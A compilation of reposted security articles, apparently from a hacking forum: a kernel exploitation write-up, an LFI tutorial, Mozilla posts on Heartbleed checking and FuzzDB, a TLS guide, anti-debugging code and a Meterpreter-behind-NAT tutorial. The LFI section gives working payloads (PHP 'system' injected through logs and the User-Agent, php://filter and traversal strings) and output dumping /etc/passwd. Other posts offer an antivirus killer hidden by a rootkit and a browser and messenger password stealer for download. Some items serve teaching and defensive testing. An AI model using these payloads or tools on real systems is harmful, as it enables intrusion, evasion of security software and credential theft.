to jump over all the junk you've set up and go to your payload. And that it's, you've escalated your privileges. [h=4]Why mmap() can't be NULL?[/h] If you dig around in the kernel, here is what to look for: // arch/x86/kernel/sys_x86_64.c:21: asmlinkage long sys_mmap(unsigned long addr, unsigned long len,asmlinkage long sys_mmap(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, unsigned long off) { long error; struct file *file; error = -EINVAL; if (off & ~PAGE_MASK) goto out; error = -EBADF; file = NULL; flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE); if (!(flags & MAP_ANONYMOUS)) { file = fget(fd); if (!file) goto out; } down_write(&current->mm->mmap_sem); error = do_mmap_pgoff(file, addr, len, prot, flags, off >> PAGE_SHIFT); up_write(&current->mm->mmap_sem); if (file) fput(file); out: return error; } If you go down do_mmap_pgoff(), you end up finding this code: // mm/mmap.c/* ... */ if (!file->f_op || !file->f_op->mmap) return -ENODEV; break; /* ... */ So here it is, if mmap() is NULL, it doesn't get called. That is why it sets the mmap() pointer to 1. [h=2]Other exploits[/h]This is where it gets pretty hard to explain as there is still tons of code to read x). I dug a bit in vmsplice, RDS and perf_events exploits. vmsplice use buffer overflow, but it's not a common one as it doesn't overwrite any function or return pointers. What it overwrites are compound page addresses (values we don't control) and then call a dtor pointer the attacker control. Privileged code execution is gained in put_compound_page() through the call of a destructor function pointer that we control. This dtor pointer obviously points to the attacker payload. At the end of the article, I've attached some analysis I did for vmsplice. There is lot of code to cover though so I won't detail it in this post. I haven't thoroughly analyzed the RDS exploit yet but it is a write-what-where. The perf_events exploit is really interesting. It 'basically' increment a INT handler pointer upper bytes in 64 bits so the pointer end up in userland. The exploit then return to this allocated memory containing the payload. The exploit also use a neat trick to compute the perf_event array. An entire post is necessary as well to properly understand this exploit. Analysis have already been done anyhow by other people. [h=2]The challenge[/h] The VM is a 64 Bit Linux system made especially by Jason Donenfeld (aka zx2c4). The vulnerability allows us to write a 0 anywhere in kernel memory. As such, in my exploit, I zeroed out some part of a proto_ops function pointer. mmap() it, put my payload over there, jump to it and fix it. I debugged the exploit using registry information showed when the exploit crashed. The exploit is included in the archive below. [h=2]Conclusion[/h]As you can see, kernel exploitation has some similitudes with userland exploitation. The differences mainly stem in the protections and the impact that a bug can have. For instance, in kernel-land, not initializing a structure fully can have severe consequence (code execution through NULL pointer dereference, etc) while in userland, it may cause an infoleak but not directly code execution. Moreover, this also shows that the kernel is piece of software and is as such exploitable. Hope you enjoyed the article, I welcome any feedback on it, Cheers, m_101 [h=2]References[/h] - The slides : here - Jason Donenfield's challenge : here - sgrakkyu's blog : kernelbof - Attacking the Core : Kernel Exploiting Note - "A Guide to Kernel Exploitation: Attacking the Core" de Enrico Perla et Massimiliano Oldani - Miscellaneous exploits : NULL deref sendpage, NULL deref /dev/net/tun, vmsplice, RDS write-what-where, integer problem perf_swevent - MISC explaining perf_swevent exploit : Misc 69 Sursa: Binary world for binary people : December HZV Meet : Linux Kernel Exploitation

[h=3]Unusual 3G/4G Security: Access to a Backhaul Network[/h]A backhaul network is used to connect base stations (known as NodeB in 3G terminology) to a radio network controller (RNC). Connection costs for base stations comprise a significant part of provider's total expenses, so it is reasonable to reduce costs related to building and running of such networks, in particular by implementing new technologies. Evolution made the trip from ATM connections to SDH/SONET, DSL, IP/MPLS and metro Ethernet. Today traffic is communicated through IP packets. When a large metro network is given, we just can't use it for base stations connection only. So then it provides channels to legal entities and in some areas it provides home users with Internet access. A converged network as it is. And security is a pressing issue when it comes to converged networks. Voice and GPRS packet data are transmitted in an encrypted form over the network section between a NodeB and an RNC. But what about management traffic? What protocols are used to manage the NodeB directly? Due to the choice of a provider, it may be HTTP/HTTPS, Telnet/SSH, as well as different types of MML (a man-machine language). Unfortunately, protocols that do not encrypt data are often used to manage network elements. What happens if an intruder gets access to a network segment? Is he able to capture data in this case? How will he do it? At present, each device has an IP management interface and an Ethernet port to connect to a network. Base stations are no exception. Upon intrusion into a network, an attacker can use common ARP spoofing to catch data that technicians use to manage network devices. An example of an MML session shows how simple it is. As you go further, you will understand it really is a problem. After getting access to one base station, it is possible to break into other stations, since management IP addresses are freely routed at least within one network. Note: a mobile provider has hundreds of base stations in each city. What if it loses connection with one of the stations or has to execute works on site? For these purposes, there is a local account on a device. Such an account is usually equal for all devices, which means that an intruder can get control over hundreds of devices. A telephone network used to be an extremely isolated and controlled system. It seems that times have changed. The question is, whether telecommunication companies realize that. Author: Dmitry Kurbatov, Positive Research Sursa: Positive Research Center: Unusual 3G/4G Security: Access to a Backhaul Network

[h=3]LFI Exploitation : Basics, code execution and information leak [/h]Hello, Today, I played a bit with Metasploitable 2. It is really easy to root, so that's not the interest of this blog post. Anyhow, I played a bit around and I ended up coding a basic LFI exploit tool. So yet another post on LFI exploitation ... [h=2]So what is LFI?[/h] LFI stands for Local File Inclusion. It is a vulnerability that allows you to include local files. Many people do think that it's not really dangerous as it only includes LOCAL files. Unfortunately (depending on which side of the barrier you are ...), it is false, you can execute code through a LFI. [h=2]So, how do you exploit it?[/h] By including local files. Yes, local files . These are the well-known techniques for LFI: - apache logs - /proc/self/environ - php://input - NULL Byte Injection - path truncation - directory traversal - PHP filters - image inclusion with PHP code [h=3]Apache logs[/h]These were publicly accessible in old distros. Now, these are only readable by proper users. You'd basically inject PHP Code through the GET requests: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]http://victim/<?php system ('id'); ?> [/TD] [/TR] [/TABLE] This would leave PHP code in the logs. Then executing the PHP code is as simple as: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]http://victim/?page=/var/log/apache2/access_log [/TD] [/TR] [/TABLE] Code execution if there is no proper rights on the logs (some old systems remain). [h=3]/proc/self/environ[/h] This file is interesting as it stores stuffs like your USER-AGENT and whatsoever. So, if you change your User-Agent to ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]<?php system ('id'); ?> [/TD] [/TR] [/TABLE] and use this: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]http://victim/?page=/proc/self/environ [/TD] [/TR] [/TABLE] Yes, code execution! [h=3]php://input[/h]Ok, this one execute PHP Code included into the POST DATA. [h=3]NULL byte injection and path truncation[/h]This one is pretty neat. Say you have the following code: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]<?php include ($_GET['page'] . '.php'); ?> [/TD] [/TR] [/TABLE] Well, you can get rid of the '.php' extension using that trick. Just append or looooooots of . or /., this will get normalized and voila no more extension. NULL Byte poisoning doesn't work for PHP >= 5.3.4 as it's been fixed. Reverse path truncation is mostly the same, just the ../ is before the file name. [h=3]PHP filters[/h]This vulnerability is mainly for leaking files (.php and others). This doesn't work if you have a prefix such as here: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]<?php include ($prefix + $_GET['page'] + '.php'); ?> [/TD] [/TR] [/TABLE] You exploit it using this request for instance: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]http://victim/?page=php://filter/read=convert.base64-encode/resource=index.php [/TD] [/TR] [/TABLE] As you guessed, the PHP filter is ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]php://filter/read=convert.base64-encode/resource= [/TD] [/TR] [/TABLE] . [h=3]image with PHP code[/h] This one is about appending PHP code in an image. Using the image in the LFI allows you to inject PHP code : the PHP interpreter interprets anything as code as long as it's in <?php ?>. If you have a non exploitable LFI with /proc/self/environ or apaches logs and you don't have an extension concatenation, this can allow you to exploit it if you are able to upload images. Let's say you have PHPBB and PhpLdapAdmin 1.1.0.5. Well, you can upload an image using PHPBB then exploit the LFI in PhpLdapAdmin using the directory traversal trick => code execution. [h=2]Exploit[/h] I wrote a basic LFI exploiter that uses PHP filter or /proc/self/environ tricks. You can get it at LFI exploit tool . The code isn't clean and it needs tons of improvement before being really a usable tool. I plan on improving it on a need to basis. The cookie functionality is not implemented yet, it is just a placeholder for now. You can test it on multilidae on Metasploitable 2. I haven't tested it somewhere else yet. Example of utilisation (this is on metasploitable 2): $ ./exploit-lfi.py -h usage: exploit-lfi.py [-h] --url URL [--action ACTION] --option OPTION [--replace REPLACE] [--cookie COOKIE] Exploit LFI optional arguments: -h, --help show this help message and exit --url URL, -u URL URL to attack --action ACTION, -a ACTION exec or read (default) --option OPTION, -o OPTION Action argument --replace REPLACE, -r REPLACE string to replace --cookie COOKIE, -c COOKIE Cookie $ ./exploit-lfi.py -u 'http://192.168.56.107/mutillidae/index.php?page=show-log.php' -o 'cat /etc/passwd' [+] Checking vulnerability Test url : http://192.168.56.107/mutillidae/index.php?page=whatever& Is vulnerable with param page! [+] Found vulnerability, new URL : http://192.168.56.107/mutillidae/index.php?page=PAYLOAD& [+] Searching for root path root : ../../../ [+] New URL : http://192.168.56.107/mutillidae/index.php?page=../../../PAYLOAD& [+] Testing : {'path': '/proc/self/environ', 'type': 'header'} http://192.168.56.107/mutillidae/index.php?page=../../..//proc/self/environ& root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false snmp:x:115:65534::/var/lib/snmp:/bin/false [h=2]Conclusion[/h]As you can see in this introduction, code execution is quite possible with a LFI. These aren't only information leaks vulnerabilities. That's all for today. Cheers, m_101 Updates - 18/12/2013 : the LFI exploit tool I wrote has been moved to its own repository : https://github.com/m101/lfipwn/ and cookie functionality does work. [h=2]References[/h] - Basics on file inclusion : File Inclusion - Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools - PhpLdapAdmin LFI : phpldapadmin Local File Inclusion - path truncation part 1 : ush.it - a beautiful place - path truncation part 2 : ush.it - a beautiful place Sursa: Binary world for binary people : LFI Exploitation : Basics, code execution and information leak

Testing for Heartbleed vulnerability without exploiting the server. Heartbleed is a serious vulnerability in OpenSSL that was disclosed on Tuesday, April 8th, and impacted any sites or services using OpenSSL 1.01 – 1.01.f and 1.0.2-beta1. Due to the nature of the bug, the only obvious way to test a server for the bug was an invasive attempt to retrieve memory–and this could lead to the compromise of sensitive data and/or potentially crash the service. I developed a new test case that neither accesses sensitive data nor impacts service performance, and am posting the details here to help organizations conduct safe testing for Heartbleed vulnerabilities. While there is a higher chance of a false positive, this test should be safe to use against critical services. The test works by observing a specification implementation error in vulnerable versions of OpenSSL: they respond to larger than allowed HeartbeatMessages. Details: OpenSSL was patched by commit 731f431. This patch addressed 2 implementation issues with the Heartbeat extension: HeartbeatRequest message specifying an erroneous payload length Total HeartbeatMessage length exceeding 2^14 (16,384 bytes) Newer versions of OpenSSL silently discard messages which fall into the above categories. It is possible to detect older versions of OpenSSL by constructing a HeartbeatMessage and not sending padding bytes. This results in the below evaluating true: /* Read type and payload length first */ if (1 + 2 + 16 > s->s3->rrec.length) return 0; /* silently discard */ Vulnerable versions of OpenSSL will respond to the request. However no server memory will be read because the client sent payload_length bytes. False positives may occur when all the following conditions are met (but it is unlikely): The service uses a library other than OpenSSL The library supports the Heartbeat extension The service has Heartbeat enabled The library performs a fixed length padding check similar to OpenSSL False negatives may occur when all the following conditions are met, and can be minimized by repeating the test: The service uses a vulnerable version of OpenSSL The Heartbeat request isn’t received by the testing client I have modified the Metasploit openssl_heartbleed module to support the ‘check’ option. You can download the updated module at https://github.com/dchan/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb We hope you can use this to test your servers and make sure any vulnerable ones get fixed! David Chan Mozilla Security Engineer Sursa: https://blog.mozilla.org/security/2014/04/12/testing-for-heartbleed-vulnerability-without-exploiting-the-server/

Using FuzzDB for Testing Website Security After posting an introduction to FuzzDB I received the suggestion to write more detailed walkthroughs of the data files and how they could be used during black-box web application penetration testing. This article highlights some of my favorite FuzzDB files and discusses ways I’ve used them in the past. If there are particular parts or usages of FuzzDB you’d like to see explored in a future blog post, let me know. Exploiting Local File Inclusion Scenario: While testing a website you identify a Local File Inclusion (LFI) vulnerability. Considering the various ways of exploiting LFI bugs, there are several pieces of required information that FuzzDB can help us to identify. (There is a nice cheatsheet here: Exploiting PHP File Inclusion – Overview | Reiners' Weblog) The first is directory traversal: How far to traverse? How do the characters have to be encoded to bypass possible defensive relative path traversal blacklists, a common but poor security mechanism employed by many applications? FuzzDB contains an 8 directory deep set of Directory Traversal attack patterns using various exotic URL encoding mechanisms: https://code.google.com/p/fuzzdb/source/browse/trunk/attack-payloads/path-traversal/traversals-8-deep-exotic-encoding.txt For example: /%c0%ae%c0%ae\{FILE} /%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} /%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae/{FILE} In your fuzzer, you’d replace {FILE} with a known file location appropriate to the type of system you’re testing, such as the string “etc/password” (for a UNIX system target) then review the output of the returned request responses to find responses indicating success, ie, that the targeted file has been successfully retrieved. In terms of workflow, try sorting the responses by number of bytes returned, the successful response will most become immediately apparent. The cheatsheet discusses a method of including injected PHP code, but in order to do this, you need to be able to write to the server’s disk. Two places that the HTTPD daemon typically would have write permissions are the access and error logs. FuzzDB contains a file of common location for HTTP server log files culled from popular distribution packages. After finding a working traversal string, configure your fuzzer to try these file locations, appended to the previously located working directory path: https://code.google.com/p/fuzzdb/source/browse/trunk/attack-payloads/lfi/common-unix-httpd-log-locations.txt Fuzzing for Unknown Methods Improper Authorization occurs when an application doesn’t validate whether the current user context has permission to perform the requested command. One common presentation is in applications which utilize role-based access control, where the application uses the current user’s role in order to determine which menu options to display, but never validates that the chosen option is within the current user’s allowed permissions set. Using the application normally, a user would be unlikely to be able to select an option they weren’t allowed to use because it would never be presented. If an attacker were to learn these methods, they’d be able to exceed the expected set of permissions for their user role. Many applications use human-readable values for application methods passed in parameters. FuzzDB contains list of common web method names can be fuzzed in an attempt to find functionality that may be available to the user but is not displayed by any menu. https://code.google.com/p/fuzzdb/source/browse/trunk/attack-payloads/BizLogic/CommonMethods.fuzz.txt These methods can be injected wherever you see others being passed, such as in GET and POST request parameter values, cookies, serialized requests, REST urls, and with web services. Protip: In addition to this targeted brute-force approach it can also be useful to look inside the site’s Javascript files. If the site designers have deployed monolithic script files that are downloaded by all users regardless of permissions where the application pages displayed to a user only call the functions that are permitted for the current user role, you can sometimes find endpoints and methods that you haven’t observed while crawling the site. Leftover Debug Functionality Software sometimes gets accidentally deployed with leftover debug code. When triggered, the results can range from seeing extended error messages that reveal sensitive information about the application state or configuration that can be useful for helping to plan further attacks to bypassing authentication and/or authorization, or to displaying additional test functionality that could violate the integrity or confidentiality of data in ways that the developers didn’t intend to occur in a production scenario. FuzzDB contains a list of debug parameters that have been observed in bug reports, in my own experience, and some which are totally hypothesized by me but realistic: https://code.google.com/p/fuzzdb/source/browse/trunk/attack-payloads/BizLogic/DebugParams.fuzz.txt Sample file content: admin=1 admin=true admin=y admin=yes adm=true adm=y adm=yes dbg=1 dbg=true dbg=y dbg=yes debug=1 debug=true debug=y debug=yes “1” “true” “y” and “yes” are the most common values I’ve seen. If you observe a different but consistent scheme in use in the application you’re assessing, plug that in. In practice, I’ve had luck using them as name/value pairs for GET requests, POST requests, as cookie name/value pairs, and inside serialized requests in order to elicit a useful response (for the tester) from the server. Predictable File Locations Application installer packages place components into known, predictable locations. FuzzDB contains lists of known file locations for many popular web servers and applications https://code.google.com/p/fuzzdb/source/browse/trunk/#trunk%2Fdiscovery%2FPredictableRes Example: You identify that the server you’re testing is running Apache Tomcat. A list of common locations for interesting default Tomcat files is used to identify information leakage and additional attackable functionality. https://code.google.com/p/fuzzdb/source/browse/trunk/discovery/PredictableRes/ApacheTomcat.fuzz.txt Example: A directory called /admin is located. Sets of files are deployed which will aid in identifying resources likely to be in such a directory. https://code.google.com/p/fuzzdb/source/browse/trunk/discovery/PredictableRes/Logins.fuzz.txt Forcible Browsing for Potentially Interesting Files Certain operating systems and file editors can inadvertently leave backup copies of sensitive files. This can end up revealing source code, pages without any inbound links, credentials, compressed backup files, and who knows what. FuzzDB contains hundreds of common file extensions including one hundred eighty six compressed file format extensions, extensions commonly used for backup versions of files, and a set of primitives of “COPY OF” as can be prepended to filenames by Windows servers. https://code.google.com/p/fuzzdb/source/browse/#svn%2Ftrunk%2Fdiscovery%2FFilenameBruteforce In practice, you’d use these lists in your fuzzer in combination with filenames and paths discovered while crawling the targeted application. Upcoming posts will discuss other usage scenarios. Sursa: https://blog.mozilla.org/security/2014/03/25/using-fuzzdb-for-testing-website-security/

[h=1]Navigating the TLS landscape[/h] A few weeks ago, we enabled Perfect Forward Secrecy on https://www.mozilla.org [1]. Simultaneously, we published our guidelines for configuring TLS on the server side. In this blog post, we want to discuss some of the SSL/TLS work that the Operations Security (OpSec) team has been busy with. For operational teams, configuring SSL/TLS on servers is becoming increasingly complex. BEAST, LUCKY13, CRIME, BREACH and RC4 are examples of a fast moving security landscape, that made recommendations from a only few months ago already obsolete. Mozilla’s infrastructure is growing fast. We are adding new services for Firefox and Firefox OS, in addition to an ever increasing number of smaller projects and experiments. The teams tasked with deploying and maintaining these services need help sorting through known TLS issues and academic research. So, for the past few months, OpSec has been doing a review of the state-of-the-art of TLS. This is in parallel and complementary to work by the Security Engineering team on cipher preferences in Firefox. The end goal being to support, at the infrastructure level, the security features championed by Firefox. We published our guidelines at https://wiki.mozilla.org/Security/Server_Side_TLS. The document is a quick reference and a training guide for engineers. There is a strong demand for a standard ciphersuite that can be copied directly into configuration files. But we also wanted to publish the building blocks of this ciphersuite, and explain why a given cipher is prefered to another. These building blocks are the core of the ciphersuite discussion, and will be used as references when new attacks are discovered. Another important aspect of the guideline is the need to be broad, we want people to be able to reach https://mozilla.org and access Mozilla’s services from anywhere. For this reason, SSLv3 is still part of the recommended configuration. However, ciphers that are deprecated, and no longer needed for backward compatibility are disabled. DSA ciphers are included in the list as well, even though almost no-one uses DSA certificates right now, but might in the future. At the core of our effort is a strong push toward Perfect Forward Secrecy (PFS) and OCSP stapling. PFS improves secrecy in the long run, and will become the de-facto cipher in all browsers. But it comes with new challenges: the handshake takes longer, due to the key exchange, and a new parameter (dhparam/ecparam) is needed. Ideally, the extra-parameter should provide the same level of security as the RSA key does. But we found that old client libraries, such as Java 6, are not compatible with larger parameter sizes. This is a problem we cannot solve server-side, because the client has no way to tell the server which parameter sizes it supports. As a result, the server will start the PFS handshake, and the client will fail in the middle of the handshake. Without a way for the handshake to fall back and continue, we have to use smaller parameter sizes until old libraries can be deprecated. OCSP stapling is a big performance improvement. OCSP requests to third party resolvers block the TLS Handshake, directly impacting the user’s perception of page opening time. Recent web servers can now cache the OCSP response and serve it directly, saving the round trip to the client. OCSP stapling is likely to become an important feature of Browsers in the near future, because it improves performances, and reduces the cost of running worldwide OCSP responders for Certificate Authorities. OpSec will maintain this document by keeping it up to date with changes in the TLS landscape. We are using it to drive changes in Mozilla’s infrastructure. This is not a trivial task, as TLS is only one piece of the complex puzzle of providing web connectivity to large websites. We found that very few products provide the full set of features we need, and most operating systems don’t provide the latest TLS versions and ciphers. This is a step forward, but it will take some time until we provide first class TLS across the board. Feel free to use, share and discuss these guidelines. We welcome feedback from the security and cryptography communities. Comments can be posted on the discussion section of the wiki page, submitted to the dev-tech-crypto mailing list, posted on Bugzilla, or in #security on IRC. This a public resource, meant to improve the usage of HTTPS on the Internet. Sursa: https://blog.mozilla.org/security/2013/11/12/navigating-tls/

[h=1]Backdoor exploit discovered in Samsung Galaxy[/h] Posted by: FastFlux March 13, 2014 in Mobile, Security A zero-day has been discovered that allows attacks to remotely exploit a software-based backdoor contained in a minimum of nine various types of Samsung smartphones and tablets. This exploit allows the attacker to steal documents and location information or activate a microphone and camera. The news came to light Wednesday by individuals of the Replicant project, which develops free variants of Android to replace the static versions pre-installed by most carriers and suppliers. Replicant developers stated they discovered that the radio modems on several Samsung devices will carry out remote file system (RFS) commands. “We discovered that the proprietary program running on the applications processor in charge of handling the communication protocol with the modem actually implements a back door that lets the modem perform remote file I/O operations on the file system,” said Replicant developer Paul Kocialkowski in a article posted on Free software Foundation. “This program is shipped with the Samsung Galaxy devices and makes it possible for the modem to read, write, and delete files on the phone’s storage,”, “On several phone models, this program runs with sufficient rights to access and modify the user’s personal data.” he added. Samsung didn’t immediately reply to an emailed request for comment about Replicant’s findings or even to question about which models may be affected and whether or not they planned to patch vulnerable devices. According to Replicant’s research discovered nine various kinds of Samsung devices which contain the vulnerability: the Nexus S, Galaxy S, Galaxy S 2, Galaxy Note, Galaxy Nexus, Galaxy Tab 2 7.0, Galaxy Tab 2 10.1, Galaxy S 3, and Galaxy Note 2. Other devices are unknown at this time, they speculate there could be many more. affected. Sursa: Backdoor exploit discovered in Samsung Galaxy

[h=1]Detect debugger with TLS callback[/h][h=3]zwclose7[/h] TLS callback is a function that called before the process entry point executes. If you run the executable with a debugger, the TLS callback will be executed before the debugger breaks. This means you can perform anti-debugging checks before the debugger can do anything. Therefore, TLS callback is a very powerful anti-debugging technique. To add a TLS callback to your program, you need to create a section called .CRT$XLB in the executable image, and then put the TLS callback function address into this section. You also need to add the __tls_used symbol to the executable image. The following stack trace shows how the TLS callback called (from Process Hacker) 0, ntoskrnl.exe!KiDeliverApc+0x1c7 1, ntoskrnl.exe!KiCommitThreadWait+0x3dd 2, ntoskrnl.exe!KeWaitForSingleObject+0x19f 3, win32k.sys!xxxRealSleepThread+0x257 4, win32k.sys!xxxSleepThread+0x59 5, win32k.sys!NtUserWaitMessage+0x46 6, ntoskrnl.exe!KiSystemServiceCopyEnd+0x13 7, wow64cpu.dll!CpupSyscallStub+0x9 8, wow64cpu.dll!Thunk0Arg+0x5 9, wow64.dll!RunCpuSimulation+0xa 10, wow64.dll!Wow64LdrpInitialize+0x42a 11, ntdll.dll!LdrpInitializeProcess+0x17e3 12, ntdll.dll! ?? ::FNODOBFM::`string'+0x28ff0 13, ntdll.dll!LdrInitializeThunk+0xe 14, user32.dll!NtUserWaitMessage+0x15 15, user32.dll!DialogBox2+0x222 16, user32.dll!InternalDialogBox+0xe5 17, user32.dll!SoftModalMessageBox+0x757 18, user32.dll!MessageBoxWorker+0x269 19, user32.dll!MessageBoxTimeoutW+0x52 20, user32.dll!MessageBoxTimeoutA+0x76 21, user32.dll!MessageBoxExA+0x1b 22, user32.dll!MessageBoxA+0x18 23, tls.exe!TlsCallback+0x3c 24, ntdll.dll!LdrpCallInitRoutine+0x14 25, ntdll.dll!LdrpCallTlsInitializers+0x9e 26, ntdll.dll!LdrpRunInitializeRoutines+0x3ab 27, ntdll.dll!LdrpInitializeProcess+0x1400 28, ntdll.dll!_LdrpInitialize+0x78 29, ntdll.dll!LdrInitializeThunk+0x10 You can see the TLS callback is called by the loader during process startup. Here is example code. #include <stdio.h>#include <Windows.h> #pragma comment(lib,"ntdll.lib") #pragma comment(linker,"/include:__tls_used") // This will cause the linker to create the TLS directory #pragma section(".CRT$XLB",read) // Create a new section extern "C" NTSTATUS NTAPI NtQueryInformationProcess(HANDLE hProcess,ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength); #define NtCurrentProcess() (HANDLE)-1 // The TLS callback is called before the process entry point executes, and is executed before the debugger breaks // This allows you to perform anti-debugging checks before the debugger can do anything // Therefore, TLS callback is a very powerful anti-debugging technique void WINAPI TlsCallback(PVOID Module,DWORD Reason,PVOID Context) { PBOOLEAN BeingDebugged=(PBOOLEAN)__readfsdword(0x30)+2; HANDLE DebugPort=NULL; if(*BeingDebugged) // Read the PEB { MessageBox(NULL,"Debugger detected!","TLS callback",MB_ICONSTOP); } else { MessageBox(NULL,"No debugger detected","TLS callback",MB_ICONINFORMATION); } // Another check if(!NtQueryInformationProcess( NtCurrentProcess(), 7, // ProcessDebugPort &DebugPort, // If debugger is present, it will be set to -1 | Otherwise, it is set to NULL sizeof(HANDLE), NULL)) { if(DebugPort) { MessageBox(NULL,"Debugger detected!","TLS callback",MB_ICONSTOP); } else { MessageBox(NULL,"No debugger detected","TLS callback",MB_ICONINFORMATION); } } } __declspec(allocate(".CRT$XLB")) PIMAGE_TLS_CALLBACK CallbackAddress[]={TlsCallback,NULL}; // Put the TLS callback address into a null terminated array of the .CRT$XLB section // The entry point is executed after the TLS callback int main() { printf("Hello world"); getchar(); return 0; } [h=4]Attached Files[/h] tls.zip 350.48KB 15 downloads Sursa: Detect debugger with TLS callback - Source Codes - rohitab.com - Forums

[h=1]PatchGuard disabling code for up-to-date Win8.1[/h] Source download : https://github.com/tandasat/findpg Deverloped by : https://twitter.com/standa_t Via: DEMO PatchGuard disabling code for up-to-date Win8.1 - Source Codes - rohitab.com - Forums

[h=1]Antivirus killer with AFX Rootkit[/h] This is my new antivirus killer, AFX KillAV. This program block execution of antivirus software. AFX Windows Rootkit 2003 is used to hide the process of this program. Features: Run on Windows startup. Block execution of antivirus software. Hide the running process of itself using AFX Windows Rootkit 2003. AFX Windows Rootkit 2003 is a user mode rootkit that allow you to hide processes, files and registry. [h=4]Attached Files[/h] winav.zip 404.1KB 1158 downloads Sursa: Antivirus killer with AFX Rootkit - Source Codes - rohitab.com - Forums

[h=1]Password recovery for firefox, IE, google talk and more[/h]By [h=3]shebaw[/h]Hi everyone, since there is growing number of topics about password recovery, I decided to share my code I wrote after disassembling popular recovery software. I was hoping I would clean it up a little bit (too many callbacks, memory mapping). It recovers passwords stored by: IE 4-9, Firefox 0-the latest version, GTalk, MSN Messenger, Windows Live Messenger, Generic Network & Visible domain passwords. I'm sorry for cramming most of the recovery code in pass_recov.c. I was hopping I would break that up. I've attached the project. Here is how you would use it. Here is a sample code on how to use it. #include <stdio.h> #include "pass_recov.h" void CALLBACK display_pass(pass_type_t ptype, const wchar_t *url, const wchar_t *username, const wchar_t *password, void *param) { switch (ptype) { case firefox3: case firefox4: wprintf(L"firefox pass username:%s password:%s", username, password); break; /* and so on, you get the idea */ } } int main(void) { struct cred_grab_arg carg; carg.grab_pass = display_pass; /* user defined callback, that's called for each password recovered */ carg.param = NULL; /* user defined paramater that's used to pass values to the callback, NULL in this case */ get_firefox_passwords(&carg); get_ie_passwords(&carg); return 0; } he previous versions of firefox (0-3) used signon[1-3].txt while the later versions use sqlite database. The functions used to manipulate the sqlite databases are loaded from firefox's installation directory so sqlite doesn't need to be linked statically. It works from firefox 0 - the latest version. I didn't test the IE recovery code on IE 10 but it should work. IE 7 and above hash the passwords stored for each site using the url of the website which I think is clever. It can be circumvented if IE is set to store history of the browsed sites (default behavior) since we can get the urls to see if the hashes match. I'm not sure how IE 'sanitizes' the urls since it differs from sites to sites so I've added two ways which I noticed.[h=4]Attached Files[/h] pass_recov.zip 16.58KB 842 downloads Sursa: Password recovery for firefox, IE, google talk and more - Source Codes - rohitab.com - Forums

Metasploit Meterpreter and NAT Published January 4, 2014 | By Corelan Team (corelanc0d3r) Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking "naked" is considered to be the easiest way to perform a penetration test that involves getting shells back. Not everyone has the luxury of putting a box directly connected to the internet and as the number of free public IP addresses continues to decrease, the need for using an audit box placed in a LAN, behind a router or firewall, will increase. Putting an audit box behind a device that will translate traffic from private to public and vice versa has some consequences. Not only will you need to be sure that the NAT device won’t "break" if you start a rather fast portscan, but since the host is in a private LAN, behind a router or firewall, it won’t be reachable directly from the internet. Serving exploits and handling reverse, incoming, shells can be problematic in this scenario. In this small post, we’ll look at how to correctly configure Meterpreter payloads and make them work when your audit box is behind a NAT device. We’ll use a browser exploit to demonstrate how to get a working Meterpreter session, even if both the target and the Metasploit "attacker" box are behind NAT. Network setup I’ll be using the following network setup in this post: Both the attacker and the target are behind a NAT device. We don’t know the IP range used by the target and we’ve determined there is no direct way in from the internet to the target network, so the public IP of the target is not relevant. We’ll assume that the target has the ability to connect to the internet over port 80 and 443. I’ve used IP 1.1.1.1 to indicate the "public" side of our attack network. You will have to replace this IP with your own public IP when trying the steps in this post. I will use Kali Linux as the attacker and I have set up a clone of the Metasploit Git repository on the box: cd / mkdir -p /pentest/exploits git clone https://github.com/rapid7/metasploit.git cd metasploit-framework bundle install If you already had a git 